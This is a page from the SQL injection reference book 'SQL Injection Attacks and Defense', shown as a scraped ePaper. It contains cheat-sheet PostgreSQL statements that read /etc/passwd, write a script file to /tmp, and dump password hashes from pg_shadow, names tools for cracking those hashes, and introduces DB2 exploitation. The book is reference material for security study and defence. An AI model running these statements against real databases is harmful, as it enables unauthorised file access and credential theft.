28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Local File Access<br />

References • Chapter 10 449<br />

Local files can be read by the superuser account using the following <strong>SQL</strong>. Files are opened<br />

using the operating-system-level Postgre<strong>SQL</strong> user account:<br />

CREATE TABLE filedata(t text);<br />

COPY filedata FROM '/etc/passwd'; --<br />

It is also possible to write local files using the following <strong>SQL</strong>. Files are created using the<br />

operating-system-level Postgre<strong>SQL</strong> user account.<br />

CREATE TABLE thefile(evildata text);<br />

INSERT INTO thefile(evildata) VALUES ('some evil data');<br />

COPY thefile (evildata) TO '/tmp/evilscript.sh';<br />

Cracking Database Passwords<br />

Postgre<strong>SQL</strong> passwords are hashed using the MD5 algorithm. The username is appended to<br />

the password before hashing takes place <strong>and</strong> the resultant hash has the characters md5<br />

prepended to it. The following <strong>SQL</strong> query will list usernames <strong>and</strong> password hashes from a<br />

Postgre<strong>SQL</strong> database:<br />

select usename||':'||passwd from pg_shadow;<br />

An example entry for user sqlhacker is as follows:<br />

sqlhacker:md544715a9661408abe727f9963bf6dad93<br />

A number of password cracking tools support MD5 hashes, including MDCrack,<br />

John the Ripper, <strong>and</strong> Cain & Abel.<br />

DB2 Cheat Sheet<br />

The DB2 database server from IBM is perhaps one of the least popular database platforms to<br />

find integrated with a Web application. However, if you do encounter an <strong>SQL</strong> injection flaw<br />

within a DB2-based application this section will help you exploit it.<br />

Enumerating Database<br />

Configuration Information <strong>and</strong> Schema<br />

Table 10.24 lists <strong>SQL</strong> statements used to extract key configuration information. Table 10.25<br />

lists the <strong>SQL</strong> statements used to enumerate schema information.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!